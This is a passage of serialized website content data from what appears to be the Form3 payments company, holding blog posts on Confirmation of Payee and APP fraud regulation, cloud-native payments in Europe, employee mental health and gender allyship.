and CHAPS) cross-verify the recipient's name against account details before authorizing a transaction.",[],{"type":25,"text":15501,"spans":15502,"direction":445},"This regulation will be applicable to over 400 financial institutions, each of which must adopt both a Requestor & Responder (Outbound & Inbound) solution by either 31 October 2023 or 31 October 2024.",[],{"type":25,"text":15504,"spans":15505,"direction":445},"The evolving nature of fraud means that perpetrators are consistently identifying and exploiting weak points. According to the PSR, fraudsters are now zeroing in on market segments and financial institutions that have been sluggish in partnering with CoP providers.",[],"rich_text$b54e9c5d-0fd0-45d9-8778-60ec9afc8378",{"variation":437,"version":438,"items":15508,"primary":15509,"id":15538,"slice_type":468,"slice_label":5},[],{"body":15510},[15511,15514,15517,15520,15523,15526,15529,15532,15535],{"type":988,"text":15512,"spans":15513,"direction":445},"Shedding Light on the Present Threat Landscape",[],{"type":25,"text":15515,"spans":15516,"direction":445},"Recent statistics highlight a concerning shift in criminal activity, focusing predominantly on authorised push payment (APP) fraud. Fraudsters employ an array of tactics, ranging from scam calls and deceptive text messages to counterfeit websites and misleading social media content, all designed to hoodwink individuals into releasing personal data or approving fraudulent payments.",[],{"type":25,"text":15518,"spans":15519,"direction":445},"As per recent data:",[],{"type":1151,"text":15521,"spans":15522,"direction":445},"2018: £354.3 million",[],{"type":1151,"text":15524,"spans":15525,"direction":445},"2019: £456 million (29% increase)",[],{"type":1151,"text":15527,"spans":15528,"direction":445},"2020: £479 million (5% increase)",[],{"type":1151,"text":15530,"spans":15531,"direction":445},"2021: £583.2 million (21.7% increase)",[],{"type":1151,"text":15533,"spans":15534,"direction":445},"2022: £485 million",[],{"type":25,"text":15536,"spans":15537,"direction":445},"While there's a visible decrease in 2022, it's crucial to note that these figures represent only reported losses. The true magnitude of unreported losses remains elusive.",[],"rich_text$d332bf67-709b-40a9-8c2f-4c2d94aa36ee",{"variation":437,"version":438,"items":15540,"primary":15541,"id":15573,"slice_type":468,"slice_label":5},[],{"body":15542},[15543,15546,15549,15552,15555,15558,15561,15564,15567,15570],{"type":988,"text":15544,"spans":15545,"direction":445},"PSR’s New Reimbursement Directives",[],{"type":25,"text":15547,"spans":15548,"direction":445},"In June 2023, the PSR unveiled updated guidelines concerning the reimbursement stipulations for APP fraud via the Faster Payment Scheme. Key takeaways include:",[],{"type":1151,"text":15550,"spans":15551,"direction":445},"Victims of APP fraud will be compensated by their PSP unless demonstrated that they were “Grossly Negligent”.",[],{"type":1151,"text":15553,"spans":15554,"direction":445},"Reimbursements are to be completed within five working days post reporting, with certain scenarios permitting extended durations.",[],{"type":1151,"text":15556,"spans":15557,"direction":445},"The liability will be shared equally between the sending and receiving PSP.",[],{"type":1151,"text":15559,"spans":15560,"direction":445},"Specific exemptions are in place for vulnerable customers.",[],{"type":1151,"text":15562,"spans":15563,"direction":445},"PSPs must report APP Fraud metrics, both inbound and outbound, to the PSR for public disclosure.",[],{"type":25,"text":15565,"spans":15566,"direction":445},"Further details, inclusive of the implementation date, are scheduled for consultation in Q3 2023, with an anticipated 2024 roll-out.",[],{"type":25,"text":15568,"spans":15569,"direction":445},"Integrating Confirmation of Payee within payment pathways is a decisive step in bolstering fraud protection for PSPs and their clientele. A transaction that doesn't match the expected customer name is 25 times more likely to be fraudulent. When considered alongside the inherent risks of transacting with a new beneficiary (4 times higher fraud likelihood), a mismatched new beneficiary payment can be up to 100 times riskier.",[],{"type":25,"text":15571,"spans":15572,"direction":445},"Moreover, in light of the impending PSR regulations regarding mandatory reimbursements for APP Fraud, the inclusion of CoP stands as an indispensable component of a comprehensive fraud defence arsenal. By leveraging CoP, institutions can fortify their financial positions, mitigating liabilities and potential losses. Additionally, this proactive approach safeguards an institution's reputation, especially given the imminent publication of effectiveness league tables pertaining to APP fraud countermeasures.",[],"rich_text$4772cd0e-4d57-4d9b-9d31-48448c8742be",{"variation":437,"version":438,"items":15575,"primary":15576,"id":15599,"slice_type":468,"slice_label":5},[],{"body":15577},[15578,15581,15584,15587,15590,15593,15596],{"type":988,"text":15579,"spans":15580,"direction":445},"Elevate Payment Security and Build Customer Confidence with Form3",[],{"type":25,"text":15582,"spans":15583,"direction":445},"With the PSR mandate's deadlines fast approaching, now is the time to begin your Confirmation of Payee implementation. Form3’s API driven solution is the vital line of defence against APP scams and misdirected payments, ensuring your customers enjoy a secure and reliable payment experience. Experience the power of Form3's cutting-edge Confirmation of Payee service, designed to provide unparalleled security and compliance. Our solution offers:",[],{"type":1151,"text":15585,"spans":15586,"direction":445},"Swift onboarding process led by a dedicated manager",[],{"type":1151,"text":15588,"spans":15589,"direction":445},"Responder and Requester roles for flexibility",[],{"type":1151,"text":15591,"spans":15592,"direction":445},"Compatibility with Faster Payments and CHAPS transfers ",[],{"type":1151,"text":15594,"spans":15595,"direction":445},"High-resilience through cloud-based infrastructure",[],{"type":1151,"text":15597,"spans":15598,"direction":445},"Coverage of UK personal and business accounts, including those needing Secondary Reference Data",[],"rich_text$e0929330-777d-4b69-95d3-200be02dde55",{"id":15601,"uid":15602,"type":3743,"data":15603},"alzz8REAACkAUWSq","why-cloud-native-is-key-for-fintechs-in-europe",{"title":15604,"excerpt":15605,"card_image":15606,"published_date":15611,"reading_time":1130,"tag":3751,"dek":5,"featured_image":15612,"about_form3":15613,"client_about_heading":5,"client_about_body":15614,"author_name":5,"author_title":5,"author_photo":15615,"author_bio":15616,"author_linkedin":15617,"slices":15618,"meta_title":15604,"meta_description":15726},"Fintech in Europe: Why payment processing is moving to the cloud.","Discover why cloud and cloud-native technology is key for fintechs in Europe to advance and fast track their payment ambitions in Europe.",{"dimensions":15607,"alt":15604,"copyright":5,"url":15608,"id":15609,"edit":15610},{"width":412,"height":412},"\u002F_prismic-media\u002F5b8104e5669717a7-gNkEMA5zyW9Lv-Om_why-cloud-native-is-key-for-fin.png","gNkEMA5zyW9Lv-Om",{"x":398,"y":398,"zoom":399,"background":400},"2022-08-05",{},[],[],{},[],{"link_type":434},[15619,15643,15668,15676,15701,15709],{"variation":437,"version":438,"items":15620,"primary":15621,"id":15642,"slice_type":468,"slice_label":5},[],{"body":15622},[15623,15629,15632,15639],{"type":25,"text":15624,"spans":15625},"Over the last few years, European fintechs have evolved significantly and built a place for themselves in the payments market. In our first article we looked at how regulation played its part in shaping the changing landscape for these new players. In this latest blog we take a look at the role of technology and how the urgency of change is fast tracking the adoption of cloud-native processing for critical payment services.",[15626],{"start":7408,"end":5103,"type":489,"data":15627},{"link_type":491,"url":15628},"https:\u002F\u002Fwww.form3.tech\u002Fwhy-form3\u002Finsights\u002Ffintech-regulation-in-europe-challenges-and-new-roles",{"type":25,"text":15630,"spans":15631},"Fintechs are by nature heavily focused on technology and innovation – which means they tend to be comfortable operating on the cloud, or integrating APIs into their user interfaces. As such, fintechs are typically, very strong when it comes to providing a user-friendly front-end.",[],{"type":25,"text":15633,"spans":15634},"But behind the scenes, most of their payment activities will still be based on traditional rails. For example, fintechs will typically make use of correspondent banking services for cross-border payments. As such, the relationship between banks and fintechs continues to play an important part in shaping innovation.",[15635],{"start":5103,"end":15636,"type":489,"data":15637},203,{"link_type":491,"url":15638},"https:\u002F\u002Fwww.form3.tech\u002Fwhy-form3\u002Finsights\u002Fhow-neobanks-can-use-cross-border-payments-to-boost",{"type":25,"text":15640,"spans":15641},"While fintechs have much to offer, many are also facing a number of challenges and growing pains that will need to be addressed in the coming years:",[],"rich_text$463f43c8-4a9d-41f6-ab20-d52c82063c8f",{"variation":437,"version":438,"items":15644,"primary":15645,"id":15667,"slice_type":468,"slice_label":5},[],{"body":15646},[15647,15651,15655,15659,15663],{"type":1151,"text":15648,"spans":15649},"Diversifying the business model\nMany fintechs have started off with a monoline business model – such as making payments into Australia – which they have executed very effectively. At this stage, however, those same fintechs may now be seeking to expand, which requires them to shift to a more diversified business model.\n\n",[15650],{"start":398,"end":5489,"type":593},{"type":1151,"text":15652,"spans":15653},"Handling client monies\nFintechs which are involved with payments and e-wallets face a significant challenge when it comes to deciding how best to handle client monies. Without access to the deposit facility at the ECB, fintechs need to leave those funds with commercial banks, which can be problematic in the current liquidity environment. If fintechs are able to lend out money in the same way as fully serviced banks, they may be able to mitigate this issue – but again, this is a question of business model diversification.\n\n",[15654],{"start":398,"end":4023,"type":593},{"type":1151,"text":15656,"spans":15657},"Aftermath of Brexit\nUntil now, fintechs have been able to create a single entity to service all markets in Europe. As the post-Brexit regulatory framework begins to take shape, it’s clear that these firms will now need to have two legal entities – one to cover the UK, and the other to cover the rest of Europe. This will involve additional work in the form of creating additional legal entities and getting the right licensing in place – but fintechs may also take the opportunity to consider how best to structure their European businesses.\n\n",[15658],{"start":398,"end":6262,"type":593},{"type":1151,"text":15660,"spans":15661},"Client services\nFor fintechs that have grown very rapidly, there is a risk that their support and servicing models are not yet sufficiently effective to support the size of their operations – which may deter customers from moving all of their business into these fintechs.\n\n",[15662],{"start":398,"end":8472,"type":593},{"type":1151,"text":15664,"spans":15665},"Compliance challenges\nWhile the industry continues to innovate and disrupt, regulators still expect organisations to implement sound anti-money laundering (AML) compliance programs or face additional scrutiny and potential fines. FinTechs have historically looked at regulations and compliance as a barrier to entry and an innovation stifler. However, the FinTech industry doesn’t have to be scared of compliance. Those companies that put compliance first gain an advantage over their competitors, and are more likely to come out on top in the race to capture market share.",[15666],{"start":398,"end":703,"type":593},"rich_text$7a74051a-a813-4a8c-8fb0-5ac5b290c3bb",{"variation":437,"version":438,"items":15669,"primary":15670,"id":15675,"slice_type":583,"slice_label":5},[],{"quote":15671,"attribution_name":5,"attribution_role":5},[15672],{"type":25,"text":15673,"spans":15674,"direction":445},"\"The pressures financial institutions face within payments are increasing the urgency to modernise their critical services through safe and accelerated cloud adoption.\"",[],"pull_quote$403dc1c4-0645-47aa-8d7c-08563a91292a",{"variation":437,"version":438,"items":15677,"primary":15678,"id":15700,"slice_type":468,"slice_label":5},[],{"body":15679},[15680,15683,15694,15697],{"type":988,"text":15681,"spans":15682,"direction":445},"Building resilience in the cloud",[],{"type":25,"text":15684,"spans":15685,"direction":445},"The future direction of travel from a regulatory perspective is taking many forms but one that is becoming a significant agenda topic is that of cloud technology. Cloud technology has been credited with helping grow the sector’s forecasted compound annual growth rate of 23.84%. As crucial operations, such as payment systems, move to the cloud, today’s financial services need to be more resilient than ever. Business continuity management has become essential in every function. Operational risks – things that can prevent you from delivering to customers, shareholders and regulators are multiplying. Plus, the impact of getting it wrong is growing. We also see the recent trend where financial regulators and industry oversight boards are casting a closer eye on banks’ cloud expansion and watching what new risks these shifts may create.",[15686,15691],{"start":15687,"end":15688,"type":489,"data":15689},240,277,{"link_type":491,"url":15690,"target":493},"https:\u002F\u002Fwww.telehouse.net\u002Fblog\u002Fthe-impact-of-cloud-computing-in-fintech\u002F",{"start":15692,"end":15693,"type":593},403,404,{"type":25,"text":15695,"spans":15696,"direction":445},"But even with this backdrop in mind we are seeing more and more of our customers looking to move their payment systems into the public cloud. To achieve this there are three main approaches that can be taken. The first option allows them to rapidly move into production and focus on a single cloud provider. However this brings a direct dependency on this single selected provider. This over reliance on single technology providers is at the heart of what the EU’s Digital Operational Resilience Act (DORA) is setting out to avoid due to the implications and question around what happens when a single provider goes down.",[],{"type":25,"text":15698,"spans":15699,"direction":445}," The next step in this journey is a cloud agnostic approach. This is where cloud tools not specific to any one provider are used so as to be able to run on a payments stack with any cloud provider. Whilst better this still means having to run individual payment stacks on each cloud provider you wish to connect with. The final approach and one what we believe is the future of cloud payment technology is that of multi-cloud. ",[],"rich_text$66d711fc-4391-4dd5-ac18-002f09f4949c",{"variation":437,"version":438,"items":15702,"primary":15703,"id":15708,"slice_type":468,"slice_label":5},[],{"body":15704},[15705],{"type":25,"text":15706,"spans":15707},"Here one single platform is run simultaneously across all public cloud providers. This allows data to run across all platforms in real time. That means payments made in one cloud can instantaneously be monitored in the other. The architecture enables the highest degree of availability with reduced cloud provider concentration risk.",[],"rich_text$a0596094-daca-46fa-9683-1857b253ede4",{"variation":437,"version":438,"items":15710,"primary":15711,"id":15725,"slice_type":468,"slice_label":5},[],{"body":15712},[15713,15716,15719],{"type":988,"text":15714,"spans":15715,"direction":445},"A bright future for cloud payment processing in Europe",[],{"type":25,"text":15717,"spans":15718,"direction":445},"Cloud computing is hardly a new trend in fintech. But its impact is gathering pace. Despite early concerns about security and data protection, the cloud has proved secure. And with the ability to take a ‘multi-cloud’ approach concerns regarding resilience and whether core systems can reliably move to the cloud the answer seems to be a resounding ‘yes’.  ",[],{"type":25,"text":15720,"spans":15721,"direction":445},"Access our ‘Future of Fintech Disruption in Europe’ report, where we dive into regulation, technology and how the current economic climate are all shaping the future outlook for fintechs and the payments ecosystem in Europe. ",[15722],{"start":2707,"end":2971,"type":489,"data":15723},{"link_type":491,"url":15724,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Flanding\u002Fdownload-the-whitepaper-the-future-of-fintech-disruption","rich_text$538e4714-7b71-4ffe-8e7c-f233df9008f9","Discover why is cloud and cloud-native technology key for fintechs in Europe to advance and fast track their payment ambitions in Europe.",{"id":15728,"uid":15729,"type":3743,"data":15730},"alzz_hEAACwAUWTI","whats-top-of-mind-penny-hughes-column1",{"title":15731,"excerpt":15732,"card_image":15733,"published_date":15738,"reading_time":643,"tag":3751,"dek":5,"featured_image":15739,"about_form3":15740,"client_about_heading":5,"client_about_body":15741,"author_name":15742,"author_title":15743,"author_photo":15744,"author_bio":15749,"author_linkedin":15756,"slices":15759,"meta_title":15786,"meta_description":15732},"‘What’s Top Of Mind?’ Penny Hughes’ column","With current headwinds indicating difficult economic conditions, the case continues for financial institutions to transform back-end payment technology capabilities. This is to meet the ever-growing demands of customers globally.",{"dimensions":15734,"alt":15731,"copyright":5,"url":15735,"id":15736,"edit":15737},{"width":412,"height":412},"\u002F_prismic-media\u002F873258baa10a0e26-LxopR73mHAC7cdOJ_whats-top-of-mind-penny-hughes-.jpg","LxopR73mHAC7cdOJ",{"x":398,"y":398,"zoom":399,"background":650},"2022-07-11",{},[],[],"Penny Hughes","Board Member",{"dimensions":15745,"alt":7975,"copyright":5,"url":15746,"id":15747,"edit":15748},{"width":5080,"height":5081},"\u002F_prismic-media\u002F2c7be48d4891c6ba-8_f3DdPciRXuHGbZ_penny.jpg","8_f3DdPciRXuHGbZ",{"x":398,"y":398,"zoom":399,"background":400},[15750,15753],{"type":25,"text":15751,"spans":15752,"direction":445},"Penny is a very experienced business leader. After a 10-year executive career with Coca-Cola, Penny has enjoyed a busy Non-Executive portfolio, working on more than 20 Boards covering consumer brands, mobile and media tech, banking, leisure and property. Brands include: The Body Shop, The Gap & Morrison’s Supermarkets, Aston Martin Lagonda; Vodafone, Trinity Mirror & Reuters, Skandinaviska Enkilda Banken & Royal Bank of Scotland; The Gym Group; iQ Student Accommodation & Riverstone retirement living.",[],{"type":25,"text":15754,"spans":15755,"direction":445},"Alongside her business career, Penny enjoys family life and various not-for-profit responsibilities that have included Trustee, British Museum and President, Advertising Association.",[],{"link_type":491,"key":15757,"url":15758,"target":493},"66ef597d-ef6f-44f6-ac9b-c4e5b4383c05","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fpenny-hughes-cbe-8059a4187\u002F",[15760],{"variation":437,"version":438,"items":15761,"primary":15762,"id":15785,"slice_type":468,"slice_label":5},[],{"body":15763},[15764,15767,15770,15773,15776,15779,15782],{"type":988,"text":15765,"spans":15766,"direction":445},"Economic downturn talk shouldn’t slowdown back-end technology upgrades",[],{"type":25,"text":15768,"spans":15769,"direction":445},"With current headwinds indicating difficult economic conditions, the case continues for financial institutions to transform back-end payment technology capabilities. This is to meet the ever-growing demands of customers globally.  ",[],{"type":25,"text":15771,"spans":15772,"direction":445},"Even during the last economic crash that started in 2007, the number of payment transactions didn’t decrease – and we expect the same scenario to occur in 2022 and beyond. ",[],{"type":25,"text":15774,"spans":15775,"direction":445},"This is largely due to consumers and businesses becoming ever-more reliant on real time digital transactions, boosting the volumes of payments now and in the future. It’s this ongoing trend which should continue to spur on financial institutions to transform payment capabilities, taking advantage of cloud native technology and leveraging significant cost savings at the same time.",[],{"type":25,"text":15777,"spans":15778,"direction":445},"With this structural trend - and increased demand for payments - comes the need for future planning. This year, financial institutions will continue to press ahead with digital transformation plans to improve back-end payments technology for the future growth of their businesses. ",[],{"type":25,"text":15780,"spans":15781,"direction":445},"Delaying this vital work, it’s possible legacy systems won’t be able to cope with ever-increasing payment volumes - and banks could lose competitive edge. Customers of Form3 already report a reduction in payments capex revolutionizing the way payments work from channel to payment scheme, by adopting an enterprise-grade, managed, payment technology platform that integrates across multiple payment schemes, and connects into payment systems with ease.",[],{"type":25,"text":15783,"spans":15784,"direction":445},"In summary, if the global downturn that economists predict persists, the drive for efficient transformation increases and as payment volumes continue to grow exponentially, Form3 provides the solution to improve back-end technology to handle these transactions.  ",[],"rich_text$a39cdea6-e958-4c39-b22d-6661feee2e85","Economic downturn talk shouldn’t slowdown backend technology upgrades",{"id":15788,"uid":15789,"type":3743,"data":15790},"alzz0REAACgAUWRg","how-form3-is-supporting-its-teams-mental-health",{"title":15791,"excerpt":15792,"card_image":15793,"published_date":2749,"reading_time":643,"tag":3751,"dek":15792,"featured_image":15798,"about_form3":15799,"client_about_heading":5,"client_about_body":15800,"author_name":5,"author_title":5,"author_photo":15801,"author_bio":15802,"author_linkedin":15803,"slices":15804,"meta_title":15791,"meta_description":15792},"How Form3 is supporting its teams' Mental Health","One of our values is ‘Care deeply’ which means that not only do we care about the customers we serve, but all the people that are part of Form3 as well as our environment. Importantly, at Form3 we want to ensure that our employees feel supported when it comes to mental health.",{"dimensions":15794,"alt":15791,"copyright":5,"url":15795,"id":15796,"edit":15797},{"width":412,"height":412},"\u002F_prismic-media\u002F2e6e7af7d710ead5-LH2xesF5Nl1t0XQo_how-form3-is-supporting-its-tea.png","LH2xesF5Nl1t0XQo",{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{},[],{"link_type":434},[15805,15819,15833,15852],{"variation":437,"version":438,"items":15806,"primary":15807,"id":15818,"slice_type":468,"slice_label":5},[],{"body":15808},[15809,15812],{"type":988,"text":15810,"spans":15811,"direction":445},"Mental health is important to us",[],{"type":25,"text":15813,"spans":15814,"direction":445},"With so much going on in the world, we understand that there are various factors that can affect an individual’s mental health and wellbeing. It is estimated that 1 in 6.8 people experience mental health problems in the workplace, which can limit someone’s ability to carry out their daily activities or negatively impact their performance at work. Being a remote first company, our social interactions are different to the traditional office-based workforce and whilst we work hard to ensure we don’t lose human connection through using communication tools such as Slack and Zoom, we realise that more proactive support is required for our team. ",[15815],{"start":9050,"end":754,"type":489,"data":15816},{"link_type":491,"url":15817,"target":493},"https:\u002F\u002Fwww.mentalhealth.org.uk\u002Fexplore-mental-health\u002Fmental-health-statistics\u002Fmental-health-work-statistics","rich_text$c74db299-1a94-416f-9c8b-9e761d51d36a",{"variation":437,"version":438,"items":15820,"primary":15821,"id":15832,"slice_type":468,"slice_label":5},[],{"body":15822},[15823,15826,15829],{"type":988,"text":15824,"spans":15825,"direction":445},"Training and initiatives",[],{"type":25,"text":15827,"spans":15828,"direction":445},"We recently launched a training module ‘A Manager’s Guide to Mental Health’ which was put together to provide guidance to managers on reducing stigma by openly discussing mental health, identifying symptoms and behaviours associated with poor mental health and implementing steps to benefit the overall wellbeing of teams'.",[],{"type":25,"text":15830,"spans":15831,"direction":445},"Additionally, we currently offer a health and wellness allowance which enables our team to claim back the cost of health and wellness products\u002Fservices that they purchase. This can include using their allowance towards therapy and counselling sessions as well as mindfulness app subscriptions such as Headspace or Mind. We also encourage employees to make use of their Learning Days (paid time off for learning!) and train to become qualified Mental Health First Aiders so that they are able to support other colleagues by offering initial support through non-judgemental listening and guidance. We currently have 11 Mental health First Aiders at Form3, and we are hopeful that this number will increase as we continue to work towards creating an emotionally open culture where everyone feels comfortable to seek support as and when needed.",[],"rich_text$965d35b2-c0a1-4a69-9ccb-55ab7d946997",{"variation":437,"version":438,"items":15834,"primary":15835,"id":15851,"slice_type":468,"slice_label":5},[],{"body":15836},[15837,15840],{"type":988,"text":15838,"spans":15839,"direction":445},"Our approach to flexible working",[],{"type":25,"text":15841,"spans":15842,"direction":445},"We are proud to champion flexible working. With the removal of traditional 9-5 working hours, we aim to encourage a work-life balance that enables our team to work from wherever they feel happiest and most productive. By encouraging a flexible approach to working hours we believe this will help individuals to schedule their working days in a way they works best for them to maintain this work-life balance. While we operate as a remote first business, we know that working remotely can reduce social interaction opportunities. This is why we pay a lot of attention to ways we can keep connected remotely – our recent blog post focused on this topic, and you can read it here. ",[15843],{"start":8100,"end":15844,"type":489,"data":15845},676,{"id":15846,"type":15847,"tags":15848,"lang":5,"slug":15849,"first_publication_date":5,"last_publication_date":5,"link_type":542,"isBroken":15850},"Yzb2YRIAACsAr-Hu","broken_type",[],"-",true,"rich_text$a95b87d0-949d-4c03-a4b8-d7b578a85fd1",{"variation":437,"version":438,"items":15853,"primary":15854,"id":15862,"slice_type":468,"slice_label":5},[],{"body":15855},[15856,15859],{"type":988,"text":15857,"spans":15858,"direction":445},"Our new mental health support tool",[],{"type":25,"text":15860,"spans":15861,"direction":445},"After much consideration, we have decided to implement ‘Spill’ at Form3. Spill provides all-in-one mental health support for companies via Slack. This will allow our employees to speak with qualified therapists over video, phone or message, giving them the flexibility to seek support in a way that is most comfortable for them. Not only does this approach provide quick and easy access for our team, but it also prevents the delays that often come with traditional Employee Assistance Programmes (EAP) where employees often have to wait for a referral to receive counselling support. We also believe that good line management is crucial to supporting employee mental health. Whilst EAP services are tailored to individuals, Spill supports the company as a whole by also training managers in handling difficult and emotional situations, enabling them to further support their teams' and intervene in the early stages. ",[],"rich_text$15c71c0e-0434-40f6-b664-9e40bc069900",{"id":15864,"uid":15865,"type":3743,"data":15866},"alzz-BEAACwAUWS7","whitepaper-new-payments-architecture-navigating-future",{"title":15867,"excerpt":15868,"card_image":15869,"published_date":15874,"reading_time":4603,"tag":3992,"dek":15875,"featured_image":15876,"about_form3":15877,"client_about_heading":5,"client_about_body":15878,"author_name":5,"author_title":5,"author_photo":15879,"author_bio":15880,"author_linkedin":15881,"slices":15882,"meta_title":15867,"meta_description":15868},"Whitepaper: New Payments Architecture: Navigating future access models","This payments industry change will deliver the next generation of payments for the UK, but key to its’ success is the ability for all to access it.",{"dimensions":15870,"alt":15867,"copyright":5,"url":15871,"id":15872,"edit":15873},{"width":412,"height":412},"\u002F_prismic-media\u002Fc25858a4292b73c7-1bDhnAnj2Xe4fmj8_whitepaper-new-payments-archite.png","1bDhnAnj2Xe4fmj8",{"x":398,"y":398,"zoom":399,"background":400},"2022-07-13","The UK’s New Payments Architecture (NPA) is intended to provide a new way of managing the clearing and settlement of interbank payments. As such, banks and fintechs are looking to understand the impact of the NPA and the types of access and settlement models that it will support.",{},[],[],{},[],{"link_type":434},[15883,15894],{"variation":437,"version":438,"items":15884,"primary":15885,"id":15893,"slice_type":468,"slice_label":5},[],{"body":15886},[15887,15890],{"type":746,"text":15888,"spans":15889,"direction":445},"Access to settlement models within the NPA",[],{"type":25,"text":15891,"spans":15892,"direction":445},"The New Payments Architecture change will deliver the next generation of payments for the UK, but key to its’ success is the ability for all to access it.",[],"rich_text$b44773d7-ae4f-47a1-94ed-a626b41729f3",{"variation":437,"version":527,"items":15895,"primary":15896,"id":15916,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":15897,"body":15898,"cta_label":5,"cta_link":15905,"aside_type":533,"aside_image":15906,"aside_video":15911,"aside_video_poster":15912,"aside_video_reduced_motion":15913,"aside_video_url":5,"aside_embed":15914,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":15915,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[15899,15902],{"type":25,"text":15900,"spans":15901,"direction":445},"This was the focus of a recent webinar on the topic of ‘Evaluating access to settlement models within the New Payments Architecture’. Experts from UK Finance, Pay.UK, Fire.com, the Bank of England and Form3 shared their views on what future access models could look like for new and emerging players. They also discussed the services and functionalities customers are looking for, the importance of overcoming barriers to entry, and the role that industry engagement should play when defining the way forward. ",[],{"type":25,"text":15903,"spans":15904,"direction":445},"Enjoy this written summary of the session.",[],{"link_type":434},{"dimensions":15907,"alt":5,"copyright":5,"url":15908,"id":15909,"edit":15910},{"width":501,"height":501},"\u002F_prismic-media\u002F8715fac85735dc3e-MrzY0mMvKYgCU6_W_f43b7489-c790-4e6d-8736-af44f07.png","MrzY0mMvKYgCU6_W",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$d7029c59-6010-40d4-9018-1410f6c65932",{"id":15918,"uid":15919,"type":3743,"data":15920},"alz0EREAACgAUWT2","whitepaper-how-cloud-powers-the-future-of-payments",{"title":15921,"excerpt":15922,"card_image":15923,"published_date":15928,"reading_time":4603,"tag":3992,"dek":5,"featured_image":15929,"about_form3":15930,"client_about_heading":5,"client_about_body":15931,"author_name":5,"author_title":5,"author_photo":15932,"author_bio":15933,"author_linkedin":15934,"slices":15935,"meta_title":15921,"meta_description":15922},"Whitepaper: How cloud powers the future of payments","Cloud-based Payment Gateways may not sound like the start of a revolution.  However, done right, it can provide the flexibility for change that is becoming key for survival for financial institutions.",{"dimensions":15924,"alt":15921,"copyright":5,"url":15925,"id":15926,"edit":15927},{"width":412,"height":412},"\u002F_prismic-media\u002Fe75b6dd35534ccc1-xMhs0B39rk7jX9XD_whitepaper-how-cloud-powers-the.png","xMhs0B39rk7jX9XD",{"x":398,"y":398,"zoom":399,"background":400},"2022-05-30",{},[],[],{},[],{"link_type":434},[15936,15944],{"variation":437,"version":438,"items":15937,"primary":15938,"id":15943,"slice_type":468,"slice_label":5},[],{"body":15939},[15940],{"type":746,"text":15941,"spans":15942,"direction":445},"Payments can be the first critical pathfinder into cloud",[],"rich_text$4e3be88d-2423-4b5b-aefe-dee51e716acc",{"variation":437,"version":527,"items":15945,"primary":15946,"id":15963,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":15947,"body":15948,"cta_label":5,"cta_link":15952,"aside_type":533,"aside_image":15953,"aside_video":15958,"aside_video_poster":15959,"aside_video_reduced_motion":15960,"aside_video_url":5,"aside_embed":15961,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":15962,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[15949],{"type":25,"text":15950,"spans":15951,"direction":445},"Today, the world’s most disruptive banks are in the cloud. For newcomer banks, cloud has been the only option for some time – and the same is increasingly true for established banks as well. Why? Because cloud is not only disruptive in its own right, but also provides the foundation for harnessing other emerging technologies. Discover more in our latest whitepaper produced in partnership with EY.",[],{"link_type":434},{"dimensions":15954,"alt":5,"copyright":5,"url":15955,"id":15956,"edit":15957},{"width":501,"height":501},"\u002F_prismic-media\u002F7a4c7475bb3e3242-LKUO-OFNWGIuOTgB_837f33e5-ab02-40e7-a58d-5a9b3c6.png","LKUO-OFNWGIuOTgB",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$91bfe322-397d-40d4-baa4-9ff8746f6c49",{"id":15965,"uid":15966,"type":3743,"data":15967},"alz0JBEAACsAUWUh","male-allies-at-form3-on-international-womens-day",{"title":15968,"excerpt":15969,"card_image":15970,"published_date":15975,"reading_time":2375,"tag":3751,"dek":15976,"featured_image":15977,"about_form3":15978,"client_about_heading":5,"client_about_body":15979,"author_name":5,"author_title":5,"author_photo":15980,"author_bio":15981,"author_linkedin":15982,"slices":15983,"meta_title":15968,"meta_description":16053},"Male Allies at Form3 on International Women’s Day","In our second spotlight celebrating International Women's Day, Brendan Devenney Lead Engineer at FORM3, discusses the concept of ‘male allies’.",{"dimensions":15971,"alt":15968,"copyright":5,"url":15972,"id":15973,"edit":15974},{"width":412,"height":412},"\u002F_prismic-media\u002F344f13a774736ab2-ti290VmNi-fFdoAp_male-allies-at-form3-on-interna.png","ti290VmNi-fFdoAp",{"x":398,"y":398,"zoom":399,"background":400},"2022-03-08","In our second spotlight celebrating International Women's Day, Brendan Devenney, Lead Engineer a at FORM3, discusses the concept of ‘male allies’.",{},[],[],{},[],{"link_type":434},[15984,16001,16015,16029],{"variation":437,"version":438,"items":15985,"primary":15986,"id":16000,"slice_type":468,"slice_label":5},[],{"body":15987},[15988,15997],{"type":25,"text":15989,"spans":15990,"direction":445},"Form3 is a company which spans male-dominated sectors. With regards to full-time employees, the finance industry is around 60% male[1]. This somehow pales in comparison to the software engineering profession which is over 90% male[2].",[15991,15994],{"start":12970,"end":4105,"type":489,"data":15992},{"link_type":491,"url":15993,"target":493},"https:\u002F\u002Fwww.statista.com\u002Fstatistics\u002F1126823\u002Fworldwide-developer-gender\u002F",{"start":15361,"end":10496,"type":489,"data":15995},{"link_type":491,"url":15996,"target":493},"https:\u002F\u002Fwww.statista.com\u002Fstatistics\u002F824162\u002Fnumber-of-finance-insurance-employees-both-genders\u002F",{"type":25,"text":15998,"spans":15999,"direction":445},"These numbers demonstrate how massively underrepresented women and non-binary people are in the fintech (financial technology) space. As in so many other aspects of life – some painfully visible in recent world news – the solution to underrepresentation is often an alliance.",[],"rich_text$c1bccf9f-65c1-44df-b5a3-f70181dd68ff",{"variation":437,"version":438,"items":16002,"primary":16003,"id":16014,"slice_type":468,"slice_label":5},[],{"body":16004},[16005,16008,16011],{"type":988,"text":16006,"spans":16007,"direction":445},"What is an ally?",[],{"type":25,"text":16009,"spans":16010,"direction":445},"According to Oxford Languages, to ally is to “combine or unite a resource or commodity with (another) for mutual benefit.” The important thing here is mutual benefit. Being a male ally is not an act of charity, nor is it a lopsided arrangement where the male sacrifices something for the greater good; being an ally is an investment. In my experience, you get significantly more than you give.",[],{"type":25,"text":16012,"spans":16013,"direction":445},"Being an ally 